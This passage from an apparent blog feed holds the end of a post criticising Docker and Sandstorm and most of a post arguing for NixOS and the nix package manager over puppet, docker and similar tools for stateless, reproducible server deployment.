&lt;p&gt;I’ve never been terribly fond of the notion that everything should be a web app, any more than the notion that all code should be javascript. But web apps have proven extremely useful in their variety, stability and portability. So much so that some native applications end up being delivered as a web server + chromeless webkit component.&lt;/p&gt;

&lt;p&gt;Sandstorm normalizes this approach, and provides a way for users to easily run their own web services under their own control, completely sandboxed from each other and the rest of the user’s computer. It’s an interesting direction, and provides a path for users to take control of some hosted services (e.g for things like self-hosted RSS apps). But anything that’s not single-user is going to have to be heavily federated in order to work with sandstorm’s model, and I don’t think that’s terribly likely (especially if you’re dealing with federated “servers” that disappear when a user suspends their computer).&lt;/p&gt;

&lt;p&gt;Interestingly, the core model of sandstorm (running isolated web services) is also something that I think could be completely superceded by genode, if it were to take off as a general-purpose OS Presumably that’s a long-to-infinite time away, though.&lt;/p&gt;

&lt;p&gt;And hey, they’re talking about &lt;a href=&quot;https://blog.sandstorm.io/news/2014-12-15-capnproto-0.5.html&quot;&gt;capability-based security&lt;/a&gt; for web applications, and that would definitely be an interesting development if it took off.&lt;/p&gt;

&lt;h1 id=&quot;less-honourable-mention-docker&quot;&gt;Less-honourable mention: &lt;a href=&quot;https://docker.io/&quot;&gt;Docker&lt;/a&gt;&lt;/h1&gt;

&lt;p&gt;I &lt;em&gt;want&lt;/em&gt; to love docker, I really do. I was very excited when it was first announced. I’ve long been a fan of the underlying LXC technologies it uses for isolation. But it’s pretty clear now that its features are aimed just a little too far away from what I would actually want.&lt;/p&gt;

&lt;p&gt;I do use it. But never in the way that docker seems to want me to, which is a little awkward. The main push of docker seems to be for completely self-contained applications, basically a super cheap and consistent VM. But VMs are a hack, and docker in many ways is just as hacky. Why would I want an operating system (e.g RHEL) on my host, and a different operating system (perhaps Ubuntu) inside the docker container? I can’t run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;systemd&lt;/code&gt; inside docker&lt;sup id=&quot;fnref:0&quot;&gt;&lt;a href=&quot;#fn:0&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot; role=&quot;doc-noteref&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;, so all of the Nice Things that you get with systemd need to be replaced with fairly weak alternatives (like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;supervisord&lt;/code&gt;). And unlike nix, docker’s caching is optimistic (a.k.a “wrong”). You’ll rarely ever get the same actual result with the same build inputs, because docker containers rely on doing very time-relevant things like installing or updating to the “latest version” of some package. And making sure important security updates are applied to a docker container is often even harder than it is for a VM.&lt;/p&gt;

&lt;p&gt;And then because you need a lot of containers, suddenly you need cluster management on &lt;em&gt;top&lt;/em&gt; of your docker containers. I’ve looked at a few of these, and they’re not really appealing to me. It’s kind of like running OpenStack - a pretty huge amount of additional effort, resources and (not entirely bug-free) code which in most small deployments will just cause you more hassle than they solve.&lt;/p&gt;

&lt;p&gt;Interestingly, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nixos&lt;/code&gt; has some container functionality. But because it’s built on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nixos&lt;/code&gt; itself, almost all of what &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker&lt;/code&gt; provides is completely unnecessary - specifying a container is just like specifying the OS, because that’s &lt;em&gt;already&lt;/em&gt; completely stateless and declarative. You don’t need a way to build a root filesystem, because &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nixos&lt;/code&gt; already does that. You don’t need a way to cache the results of a build and overlay them, because &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nixos&lt;/code&gt; already does that (but without needing the overlay part). And you don’t need special tricks to apply security updates - the host and container are running the same OS; rebuilding the host also rebuilds the container (but without any actual duplication, thanks to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix&lt;/code&gt;’s pervasive caching).&lt;/p&gt;

&lt;p&gt;So while I’ll still use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker&lt;/code&gt; for development (e.g a cheap way to test software on an Ubuntu-like environment), I’m no longer excited about where Docker is going.&lt;/p&gt;
&lt;div class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:0&quot;&gt;
      &lt;p&gt;&lt;em&gt;Update (06/01/2015):&lt;/em&gt; It’s been pointed out in the comments that you &lt;em&gt;can&lt;/em&gt; run systemd inside docker. I tried and failed in the past, but I think things have gotten better since. &lt;a href=&quot;#fnref:0&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;

				
			</content>
		</entry>
	
		<entry>
			<title>NixOS and Stateless Deployment</title>
			<link href="http://gfxmonk.net/2015/01/03/nixos-and-stateless-deployment.html"/>
			<updated>2015-01-03T00:00:00+11:00</updated>
			<id>http://gfxmonk.net/2015/01/03/nixos-and-stateless-deployment</id>
			<content type="html">
				
				&lt;p&gt;If I had my way, I would never deploy or administer a linux server that isn’t running NixOS.&lt;/p&gt;

&lt;p&gt;I’m not exactly a prolific sysadmin - in my time, I’ve set up and administered servers numbering in the low tens. And yet every single time, it’s awful.&lt;/p&gt;

&lt;p&gt;Firstly, you get out of the notion of doing anything manually, ever. Anytime you do something manually you create a unique snowflake, and then 3 weeks (or 3 years!) down the track you tear your hair out trying to recreate whatever seemingly-unimportant thing it is you did last time that must have made it work.&lt;/p&gt;

&lt;p&gt;So you learn about automated deployment. There are no shortage of tools, and they’re mostly pretty similar. I’ve personally used these, and learned about many more in my quest not to have an awful deployment experience:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;http://capistranorb.com/&quot;&gt;capistrano&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.fabfile.org/&quot;&gt;fabric&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://puppetlabs.com/&quot;&gt;puppet&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://docs.ansible.com/&quot;&gt;ansible&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All of these work more or less as advertised, but all of them still leave me with a pretty crappy deployment experience.&lt;/p&gt;

&lt;h1 id=&quot;the-problem&quot;&gt;The problem&lt;/h1&gt;

&lt;p&gt;Most of those are imperative, in that they boil down to a list of steps - “install X”, “upload file A -&amp;gt; B”, etc. This is the obvious approach to automating deployment, kind of like a shell script is the obvious approach to automating a process. It takes what you currently do, and turns it into one or more concrete files that you can modify and replay later.&lt;/p&gt;

&lt;p&gt;And obviously, the entire problem of server deployment is deeply stateful - your server is quite literally a state machine, and each deployment attempts to modify its current state into (hopefully) the expected target state.&lt;/p&gt;

&lt;p&gt;Unfortunately, in such a system it can be difficult to predict how the current state will interact with your deployment scripts. Performing the same deployment to two servers that started in different states can have drastically different results. Usually one of them failing.&lt;/p&gt;

&lt;p&gt;Puppet is a little different, in that you don’t specify &lt;em&gt;what&lt;/em&gt; you want to happen, but rather the desired state. Instead of writing down the steps required to install the package &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;foo&lt;/code&gt;, you simply state that you want &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;foo&lt;/code&gt; to be installed, and puppet knows what to do to get the current system (whatever its state) into the state you asked for.&lt;/p&gt;

&lt;p&gt;Which would be great, if it weren’t a pretty big lie.&lt;/p&gt;

&lt;p&gt;The thing is, it’s a fool’s errand to try and specify your system state in puppet. Puppet is built on traditional linux (and even windows) systems, with their stateful package managers and their stateful file systems and their stateful user management and their stateful configuration directories, and… well, you get the idea. There are plenty of places for state to hide, and puppet barely scratches the surface.&lt;/p&gt;

&lt;p&gt;If you deploy a puppet configuration that specifies “package foo must be installed”, but then you remove that line from your config at time &lt;em&gt;t&lt;/em&gt;, what happens? Well, now any servers deployed before &lt;em&gt;t&lt;/em&gt; will have &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;foo&lt;/code&gt; installed, but new servers (after &lt;em&gt;t&lt;/em&gt;) will not. You did nothing wrong, it’s just that puppet’s declarative approach is only a thin veneer over an inherently stateful system.&lt;/p&gt;

&lt;p&gt;To &lt;em&gt;correctly&lt;/em&gt; use puppet, you would have to specify not only what you &lt;em&gt;do&lt;/em&gt; want to be true about a system, but also &lt;em&gt;all of the possible things that you do not want to be true&lt;/em&gt; about a system. This includes any package that may have ever been installed, any file that may have ever been created, any users or groups that may have ever been created, etc. And if you miss any of that, well, don’t worry. You’ll find out when it breaks something.&lt;/p&gt;

&lt;p&gt;So servers are deeply stateful. And deployment is typically imperative. This is clearly a bad mix for something that you want to be as reproducible and reliable as possible.&lt;/p&gt;

&lt;p&gt;Puppet tries to fix the “imperative” part of deployment, but can’t really do anything about the statefulness of its hosts. Can we do better?&lt;/p&gt;

&lt;p&gt;Well, yeah.&lt;/p&gt;

&lt;!--more--&gt;

&lt;h1 id=&quot;nix-the-purely-functional-package-manager&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix&lt;/code&gt;, the purely functional package manager&lt;/h1&gt;

&lt;p&gt;It started with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix&lt;/code&gt;, the “purely function package manager”. From the description, you can tell that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix&lt;/code&gt; is not your standard package manager. Most packaging systems consist of thousands of individual packages, referenced by some package id / name, with loose versioning requirements on other packages in the repository (e.g “libfoo &amp;gt;= 2.3.1 &amp;lt;2.4”). This has worked well for OSS distributions for a long time, and it’s a pretty versatile model. But &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix&lt;/code&gt; is different. It is not a collection of packages, each with multiple versions. It is a single, monolithic expression defined in a functional, lazy, purpose-built language.&lt;/p&gt;

&lt;p&gt;So you don’t have a package named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git&lt;/code&gt;. You have “the entire set of packages” (usually named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pkgs&lt;/code&gt;), and you can access its &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git&lt;/code&gt; property, which is a specific version of git. For &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git&lt;/code&gt;, there is only one version. For other tools (like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;python&lt;/code&gt;), there are multiple different attributes for different minor versions (e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pkgs.python&lt;/code&gt; is an alias to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pkgs.python2&lt;/code&gt;, which itself is an alias to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pkgs.python27&lt;/code&gt;).&lt;/p&gt;

&lt;h3 id=&quot;okay-but-why&quot;&gt;Okay, but why?&lt;/h3&gt;

&lt;p&gt;So far, this is not functionally different to standard package management. After all, my fedora box has explicit &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;python2&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;python2.7&lt;/code&gt; packages too. But one difference is that traditional packages are global, and not user-serviceable. Say that (for whatever reason), you needed python2.7 with some additional patch. Since the entire package space exists in one expression, you can manipulate it in very flexible ways. For example:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# my-python.nix
{ pkgs }:
let base = pkgs.python27;
in base // {
	patches = (base.patches or []) ++ [ ./my-python.patch ];
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Even if you’ve never read a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix&lt;/code&gt; expression before, you can probably guess what that does. It defines a function which takes an argument named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pkgs&lt;/code&gt;. It binds the local variable &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;base&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pkgs.python27&lt;/code&gt;. And it defines the result to be &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;base&lt;/code&gt; with a single overridden &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;patches&lt;/code&gt; attribute (the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;//&lt;/code&gt; operator merges two attribute sets). This just takes whatever patches the base expression has (if any), and adds the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;my-python.patch&lt;/code&gt; file. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;patches&lt;/code&gt; is a standard attribute - a list of patch files which will be applied to the source before building. So now we have a python package which is identical to the official package with just a tiny modification. We didn’t have to set up our own repository, or figure out how to make a modified &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.rpm&lt;/code&gt; from our distro’s sources.&lt;/p&gt;

&lt;p&gt;Thankfully, I’ve never needed to run a patched version of python on a production server. But I have needed to experiment with prerelease versions of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;etcd&lt;/code&gt; on a test server, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix&lt;/code&gt; makes substituting official packages for modified versions pretty trivial.&lt;/p&gt;

&lt;h3 id=&quot;the-right-dependency-for-the-job&quot;&gt;The right dependency for the job&lt;/h3&gt;

&lt;p&gt;Another interesting outcome of the packages being defined in a proper programming language is that package sets can be parameterised. Often, python libraries are version-independent - the same code will work just fine in multiple minor versions of python (e.g 2.6, 2.7), sometimes even major versions (2.x and 3.x). But any modules that requires compilation &lt;em&gt;must&lt;/em&gt; be compiled against the minor version of python that they’ll be used with. And python is pretty good at its ABI guarantees - other runtimes (like ocaml or haskell) have extremely delicate ABIs which generally mean you must compile against the exact runtime and libraries that you’ll be using at runtime.&lt;/p&gt;

&lt;p&gt;For &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix&lt;/code&gt;, this happens automatically. Each python package is actually a function which takes (amongst other things) the python implementation in use. This could be &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pkgs.python&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pkgs.python27&lt;/code&gt; or even &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;my-python&lt;/code&gt; (that we made above). Because each python package has a build-time dependency on the exact python version used, you will never have ABI or other incompatibilities that come from using a different version at build time than run time.&lt;/p&gt;

&lt;p&gt;And to make sure that the python version used at compile time is also used at runtime, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix&lt;/code&gt; doesn’t use the concept of a globally-installed &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;python&lt;/code&gt; interpreter. When you pass a python implementation to a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix&lt;/code&gt; function, that function will actually see python as living at a path like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/nix/store/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx-python/bin/python&lt;/code&gt; (and will hard-code this path wherever needed, instead of e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/usr/bin/python&lt;/code&gt;). The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xxxxxxxx&lt;/code&gt;s are a cryptographic hash of &lt;em&gt;the inputs&lt;/em&gt; used to define this python implementation. Since &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix&lt;/code&gt; is pure&lt;sup id=&quot;fnref:0&quot;&gt;&lt;a href=&quot;#fn:0&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot; role=&quot;doc-noteref&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;, the same inputs will produce the same output. This means the above path is immutable, which is good for both caching and consistency. And because each &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix&lt;/code&gt; build output lives in a unique path under &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/nix/store&lt;/code&gt;, you never run into name clashes - you can have as many simultaneous versions of python (or anything else) as your system needs, although you’ll generally end up with just one or two in practice.&lt;/p&gt;

&lt;h3 id=&quot;hardcode-all-the-things&quot;&gt;Hardcode &lt;em&gt;all&lt;/em&gt; the things&lt;/h3&gt;

&lt;p&gt;This definitely has some inefficiencies. For one, overriding the “default” python to the one we defined above will cause every python package that you use with it to be rebuilt, because the inputs used to build python are slightly different from the officially-built packages. On the other hand, there is no way for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix&lt;/code&gt; to tell whether a given change affects the ABI (or API) of an implementation. The only safe thing that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix&lt;/code&gt; can do is to rebuild in this case, which means &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix&lt;/code&gt; will rebuild things when it doesn’t necessarily need to, but on the other hand it never has to worry about ABI incompatibilities. Distributions are more efficient here by only rebuilding when necessary, but at the cost of a fair bit of manpower, runtime-specific knowledge, and &lt;em&gt;sometimes getting it wrong&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Because a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix&lt;/code&gt; implementation hardcodes paths to all its dependencies as paths under &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/nix/store&lt;/code&gt;, it’s actually incredibly easy to compute the &lt;em&gt;closure&lt;/em&gt; of a given implementation - that is, every other implementation that it references, transitively. This means that if you build something locally, you can run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix-copy-closure &amp;lt;path&amp;gt; &amp;lt;remote-machine&amp;gt;&lt;/code&gt; to have that exact implementation, and all of its transitive dependencies, copied to a remote machine. This is obviously tremendously useful for deployment, as you can be sure that each machine will receive the exact same results, without having to deal with time-related inconsistencies (like running &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;apt-get update&lt;/code&gt; at different times on different machines). It’s also extremely efficient - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix&lt;/code&gt; store paths are unique and immutable, so any store path that already exists doesn’t need to be copied (or even re-checked).&lt;/p&gt;

&lt;h1 id=&quot;the-payoff-nixos&quot;&gt;The payoff: NixOS&lt;/h1&gt;

&lt;p&gt;But I haven’t even got to the most amazing part of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix&lt;/code&gt; yet: NixOS. NixOS came from the desire to extend &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix&lt;/code&gt;’s features from “package management” to “the entire machine”.&lt;/p&gt;

&lt;p&gt;With &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix&lt;/code&gt;, every derivation (output) is pure - given the same set of inputs, you get the same output. And what’s more, the inputs are described in one language (also called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix&lt;/code&gt;), which is functional and strongly typed. So if you could define an entire machine using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix&lt;/code&gt; language, and somehow run it, it would be like puppet on steroids - the state of the &lt;em&gt;entire machine&lt;/em&gt; would be pure - applying a given config would &lt;em&gt;always&lt;/em&gt; produce the same result, regardless of the previous state of the machine. This is exactly what NixOS does, and it works amazingly well.&lt;/p&gt;

&lt;h3 id=&quot;why-is-it-better-than-those-other-declarative-systems&quot;&gt;Why is it better than those &lt;em&gt;other&lt;/em&gt; declarative systems?&lt;/h3&gt;

&lt;p&gt;It should hopefully be obvious at this point why NixOS is better than puppet: Both are declarative, but puppet is impure and non-exhaustive - when you apply a config, puppet compares &lt;em&gt;everything specified&lt;/em&gt; against the current state of the system. Everything not specified is left alone, which means you’re only specifying a very tiny subset of your system. With NixOS, if something is not specified, &lt;em&gt;it is not present&lt;/em&gt;. This includes configuration files, packages, even users and groups. So NixOS is pure, declarative &lt;em&gt;and&lt;/em&gt; exhaustive. In fact, due to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix&lt;/code&gt;’s purity and pervasive caching, “rebuilding the entire OS” with NixOS is often quicker than reapplying a relatively simple puppet config.&lt;/p&gt;

&lt;p&gt;Puppet is not the only declarative system though - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker&lt;/code&gt; is declarative &lt;em&gt;and&lt;/em&gt; exhaustive. It’s obviously a bit of an apples to oranges comparison (like comparing Ubuntu to VirtualBox), but the similarities are still interesting:&lt;/p&gt;

&lt;p&gt;Building a docker image starts with a well-known state (e.g a vanilla Ubuntu-LTS image), and the steps in a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Dockerfile&lt;/code&gt; are simply executed sequentially. When you rebuild the Dockerfile it doesn’t try and get you from the current state to the new state, it just throws away the current state and rebuilds the new state from scratch. Of course, it also uses caching so that you don’t have to wait half an hour to rebuild stuff that you haven’t changed. Unfortunately for docker, its caching mechanism is “usually good enough”, a.k.a “sometimes catastrophically broken” if you aren’t aware of its impurities&lt;sup id=&quot;fnref:1&quot;&gt;&lt;a href=&quot;#fn:1&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot; role=&quot;doc-noteref&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;

&lt;p&gt;So &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker&lt;/code&gt; is both declarative and exhaustive, but its impurities still cause issues and inconsistencies between builds (as well as a lot of redundant work when rebuilding, which can be very slow). Also, because you’re pretty much running two OSes (guest and host), you need to deal with all of &lt;em&gt;those&lt;/em&gt; issues too (in particular, making sure security updates are applied on &lt;em&gt;both&lt;/em&gt; systems). And once you have a docker container, you still need to worry about the environment in which you’re running it, which docker doesn’t address at all.&lt;/p&gt;

&lt;h3 id=&quot;lumps-of-impurity&quot;&gt;Lumps of impurity&lt;/h3&gt;

&lt;p&gt;Of course, not everything should be stateless. If you have a database server and you change its configuration, you really do want it to keep some state around (the database!). But NixOS keeps the “OS” parts of the machine stateless, meaning that the only state you need to manage is that which you create yourself. From the top of my head (not an exhaustive list):&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/run&lt;/code&gt;: stateful, unmanaged&lt;/li&gt;
  &lt;li&gt;each user’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$HOME&lt;/code&gt; directory: stateful, unmanaged (rarely used on a server, though)&lt;/li&gt;
  &lt;li&gt;Users &amp;amp; Groups: stateless&lt;/li&gt;
  &lt;li&gt;Installed software: stateless&lt;/li&gt;
  &lt;li&gt;Installed services (using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;systemd&lt;/code&gt;): stateless&lt;/li&gt;
  &lt;li&gt;All program configuration (i.e all of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc&lt;/code&gt;): stateless&lt;sup id=&quot;fnref:2&quot;&gt;&lt;a href=&quot;#fn:2&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot; role=&quot;doc-noteref&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
  &lt;li&gt;Kernel &amp;amp; kernel modules, grub configuration: stateless (but requires a reboot to activate)&lt;/li&gt;
  &lt;li&gt;Disk mounts: stateless&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;By “stateless”, I mean that the given item is generated &lt;em&gt;entirely&lt;/em&gt; from the pure &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix&lt;/code&gt; expression of the system, and isn’t affected by any previous state.&lt;/p&gt;

&lt;p&gt;NixOS also uses a bunch of impure technology under the hood, e.g when applying a new set of installed services, it still needs to look at the &lt;em&gt;current&lt;/em&gt; installed services in order to tell systemd to stop &amp;amp; remove services that are not in the new system config. But this is fully automated, and the typed, single-language nature of using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix&lt;/code&gt; as the only configuration mechanism means that this is not a very complex task, and is generally bug-free.&lt;/p&gt;

&lt;h3 id=&quot;the-bootstrapping-problem&quot;&gt;The bootstrapping problem&lt;/h3&gt;

&lt;p&gt;Bootstrapping a system is &lt;em&gt;always&lt;/em&gt; going to be different to updating a system. Many tools deal with only one side of this equation - e.g many deployment tools will allow you to provision a machine from some base image, but you’ll have to use something else (perhaps ansible or puppet) to keep that machine up to date. And in the space between, you probably need to do some custom scripting to install puppet itself, or set up admin users with appropriate SSH keys.&lt;/p&gt;

&lt;p&gt;Nix can’t remove the difference between bootstrapping and updating, but it can dramatically reduce it. I won’t go too deeply into this right now (this post is already rather long), but one important thing about NixOS is that you can build a machine’s configuration &lt;em&gt;locally&lt;/em&gt;, and then just push it to the actual machine using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix-copy-closure&lt;/code&gt;. Once pushed, a new root can be made active with a single &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix&lt;/code&gt; command.&lt;/p&gt;

&lt;p&gt;When bootstrapping, obviously you don’t yet have a remote machine running NixOS to push to yet. But that doesn’t mean you have to use completely different tools. Under the hood, the root filesystem of a NixOS machine lives as an attribute of your system config: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;config&amp;gt;.system.build.toplevel&lt;/code&gt;. But there are other options - if you instead build &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;config&amp;gt;.system.build.virtualBoxImage&lt;/code&gt;, out will pop a VirtualBox image for that system instead. Similar attributes exist for producing an EC2 image, a LXC container, an OpenStack Nova image, and plenty more. So instead of starting from some vanilla NixOS image and then deploying your system over the top (which can be be difficult since things like SSH keys and additional users won’t be set up), you can use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix&lt;/code&gt; to build a fully-formed image and deploy that directly.&lt;/p&gt;

&lt;p&gt;Unfortunately, the stuff I just described is not (yet) very accessible to new users. Right now, it’s probably better to follow the manual install instructions (which are a bit tedious) when you’re just starting out, as it is much simpler to understand what’s going on.&lt;/p&gt;

&lt;h2 id=&quot;-so-should-i-use-it&quot;&gt;… so should I use it?&lt;/h2&gt;

&lt;p&gt;NixOS is not yet for the faint of heart. It’s probably very different from what you’re currently using, and you can’t step into it gradually (it’s NixOS or null). Debugging system config can occasionally be tricky, since you can’t just go in an modify a file directly - most of the OS is mounted readonly, forcing you to make modifications &lt;em&gt;properly&lt;/em&gt; (i.e. via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix&lt;/code&gt; config). This is clearly what you want for deployed machines, but can be frustrating during development.&lt;/p&gt;

&lt;p&gt;There’s also the question of security updates. There are (I believe) enough NixOS machines running in production that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nixpkgs&lt;/code&gt; folks are pretty keen to apply security updates ASAP, but they will probably never be as responsive as the bigger distros. And there is of course much less manpower available to test the stability of updates. But these are both network effects, which ill hopefully improve the more people use it.&lt;/p&gt;

&lt;p&gt;So if you’re game, &lt;em&gt;do&lt;/em&gt; give it a try. Once you’ve got the hang of it, I doubt you’ll ever want to go back to deploying a “normal” linux distribution. I certainly don’t.&lt;/p&gt;

&lt;p&gt;And if you can’t yet commit to NixOS, maybe give &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix&lt;/code&gt; itself a try. You can install it on Linux and OSX, and won’t interfere with any system software. It can be quite a useful tool for &lt;a href=&quot;http://zef.me/5966/setting-up-development-environments-with-nix/&quot;&gt;managing consistent development environments&lt;/a&gt;, and is a good way to ease into how &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix&lt;/code&gt; works without jumping straight into NixOS.&lt;/p&gt;
&lt;div class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:0&quot;&gt;
      &lt;p&gt;Technically, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix&lt;/code&gt; is not &lt;em&gt;completely&lt;/em&gt; pure. But there are &lt;a href=&quot;https://nixos.org/wiki/Nix_impurities&quot;&gt;very few sources of impurity&lt;/a&gt;, none of which should be a problem for the standard set of packages &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nixpkgs&lt;/code&gt;. If your own build process is sensitive to the current temperature, you probably have bigger issues than build impurity. &lt;a href=&quot;#fnref:0&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:1&quot;&gt;
      &lt;p&gt;A problematic example: running &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;apt-get update &amp;amp;&amp;amp; apt-get upgrade&lt;/code&gt; will apply security fixes the first time it is built, but docker will use that cached result in the future (even if it’s months old). This makes it hard to be sure that a docker image actually includes the latest security updates. &lt;a href=&quot;#fnref:1&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:2&quot;&gt;
